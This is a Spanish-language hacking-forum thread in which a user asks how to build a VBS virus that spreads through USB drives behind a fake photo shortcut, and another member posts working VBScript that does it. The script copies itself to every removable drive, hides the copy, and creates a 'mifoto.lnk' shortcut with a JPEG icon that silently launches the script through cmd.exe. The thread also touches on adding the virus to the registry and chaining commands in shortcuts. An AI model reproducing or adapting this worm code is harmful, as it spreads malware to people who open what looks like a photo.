Hola a todos los maestros del worm en vbs y a otros despiadados creadores de mis pesadillas en vbs.
Vengo a pedir un consejo o una ayuda con un proyecto que tengo en mente. La verdad es que es un virus mas, pero para este caso, pienso hacer algo que es nuevo para mi, pero que no logro que me salga y no he visto en ningun manual. La idea es completar una de estas acciones

1- que el virus cambie el tradicional icono del pergamino por un JPG (esto lo vi en un virus hace un año, pero no pensaba entrar en este mundo cuando aquello). Se que se hace desde el registro. De este forma, no tengo que crear un metodo externo para que el virus se copie de las USB a las PC.

2-Este metodo es el posiblemente mas facil, pero ustedes diran: consiste en crear un acceso directo en el USb con un nombre irresistible con el icono de una foto o un video (supongo que deba funcionar lo del icono aunque la PC no tenga privilegios administrativos) y que en los parametros del acceso directo se ejecute mas de una opcion, las cuales serian:
a) Copiar el virus para la PC
b) Ejecutar el virus desde la PC
c) Abrir la opcion engañosa que dice el acceso directo (Ej: Abrir una foto)

nota: el paso a) y b) del metodo 2, se pueden resumir en ejecutar el codigo desde el usb y el solo se copiaria a la pc.

Espero que me ayuden con esto. por cierto, me hablaron del codigo que generaba barrotes en la pantalla (como hacer algo parecido????)

Bueno, mientras te responden, te dejo una posible solución:

On Error Resume Next
 
Set WSS = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
 
SpreadUSB
 
Function SpreadUSB()
	for each drive in FSO.drives
		if  drive.isready = true then
			if  drive.freespace  > 0 then
				if  drive.drivetype  = 1 then
					FSO.copyfile wscript.scriptfullname , drive.path & "\" & wscript.scriptname,true
					FSO.getfile(drive.path & "\"  & wscript.scriptname).attributes = 2+4
					set lnkobj = WSS.createshortcut (drive.path & "\mifoto.lnk") 
						lnkobj.windowstyle = 7
						lnkobj.targetpath = "cmd.exe"
						lnkobj.workingdirectory = ""
						lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
						lnkobj.iconlocation = WSS.regread ("HKEY_LOCAL_MACHINE\software\classes\jpegfile\defaulticon\") 
					lnkobj.save()
				end if
			end if
		end if
	next
End Function
 
MsgBox "soy un virus"

Es un ejemplo muy sencillo:

Busca todas las unidades del PC que sean extraibles. Si la unidad está disponible y con espacio... copia el script y lo oculta. Luego crea un acceso directo al script y le establece el icono de una foto.

Lo que preguntas de copiar el virus al PC, añadir al registro y tal... es demasiado fácil como para volverlo a explicar. Te remito al tutorial de VBS que seguro resolverá tus otras dudas.

http://foro.elhacker.net/scripting/tutorial_vbscript-t229032.0.html

Saludos

Tengo que preguntartelo... tu nick tiene algún significado lógico o simplemente te salió al hacer una consulta random?

MiNick = Int(Rnd * 999999999)

 

HOLA!!!


El porque de mi nick = practicidad, para una respuesta mas extendida:
http://foro.elhacker.net/foro_libre/la_historia_de_su_nick-t386227.0.html;msg1840023#msg1840023

GRACIAS POR LEER!!!

Hello otra vez, me discupo por no probar las cosas antes de decir que no. El ejemplo no lo pude probar porque el KAV me lo elimina al momento y no tengo el pass para cerrarlo jaja.

Lo cierto es que la base es el & delante del comando
yo estaba probando algo asi


asi intentaba ejecutar el bloc de notas, insertar un retorno de carrito y intentaba ejecutar despues la calculadora, pero solo se ejecutaba el bloc de notas.
Bien para aquellos que ven en esto la posibilidad interminable de herramientas desde accesos directos, pues he aki la solucion lineal gracias a ||MadAntrax|| :


Gracias a todos. Y si no hay ninguna duda sobre el tema...
¡Moderador! TEMA CERRADO